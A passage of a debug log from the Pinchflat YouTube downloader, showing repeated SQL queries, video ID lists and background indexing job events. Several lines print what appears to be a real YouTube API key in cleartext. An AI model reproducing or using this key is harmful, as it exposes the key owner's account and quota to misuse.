s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:39.336 [debug] QUERY OK source="media_profiles" db=0.1ms idle=897.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:39.336 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:39.336 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:16:39.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:39.336 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:39.500 [debug] QUERY OK source="media_items" db=0.6ms idle=163.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:16:39.501 [debug] QUERY OK source="media_items" db=0.3ms idle=164.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:16:39.501 [debug] QUERY OK source="tasks" db=0.1ms idle=165.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799933, 20, ~U[2026-02-10 22:16:39Z], ~U[2026-02-10 22:16:39Z]] 16:16:39.502 [info] {"args":{"id":20},"id":3799894,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166185,"event":"job:stop","queue_time":497503,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:57.969 [info] {"source":"oban","duration":10026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.007 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:17:03.361 [info] {"args":{"id":42},"id":3799895,"meta":{},"system_time":1770761823361677475,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.361 [info] {"args":{"id":15},"id":3799896,"meta":{},"system_time":1770761823361752320,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.362 [debug] QUERY OK source="sources" db=0.3ms idle=483.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:17:03.362 [debug] QUERY OK source="settings" db=0.1ms idle=484.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.362 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:03.363 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.363 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:17:03.363 [debug] QUERY OK source="sources" db=1.1ms idle=1007.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:17:03.363 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.363 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:03.363 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.363 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:03.363 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.363 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:17:03.363 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.363 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:03.461 [debug] QUERY OK source="media_items" db=0.3ms idle=97.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:17:03.461 [debug] QUERY OK source="media_items" db=0.2ms idle=98.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:17:03.462 [debug] QUERY OK source="tasks" db=0.1ms idle=98.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799934, 42, ~U[2026-02-10 22:17:03Z], ~U[2026-02-10 22:17:03Z]] 16:17:03.462 [info] {"args":{"id":42},"id":3799895,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100798,"event":"job:stop","queue_time":560816,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.468 [info] {"args":{"id":22},"id":3799897,"meta":{},"system_time":1770761823468590023,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.468 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:17:03.469 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.469 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:03.469 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.469 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:17:03.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.469 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:03.482 [debug] QUERY OK source="media_items" db=0.5ms idle=12.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:17:03.483 [debug] QUERY OK source="media_items" db=0.4ms idle=13.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:17:03.483 [debug] QUERY OK source="tasks" db=0.0ms idle=14.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799935, 15, ~U[2026-02-10 22:17:03Z], ~U[2026-02-10 22:17:03Z]] 16:17:03.483 [info] {"args":{"id":15},"id":3799896,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121988,"event":"job:stop","queue_time":417124,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.489 [info] {"args":{"id":13},"id":3799898,"meta":{},"system_time":1770761823489853783,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.490 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:17:03.490 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.490 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:03.490 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.490 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:17:03.490 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:03.490 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:03.578 [debug] QUERY OK source="media_items" db=0.5ms idle=88.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 16:17:03.579 [debug] QUERY OK source="media_items" db=0.2ms idle=89.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 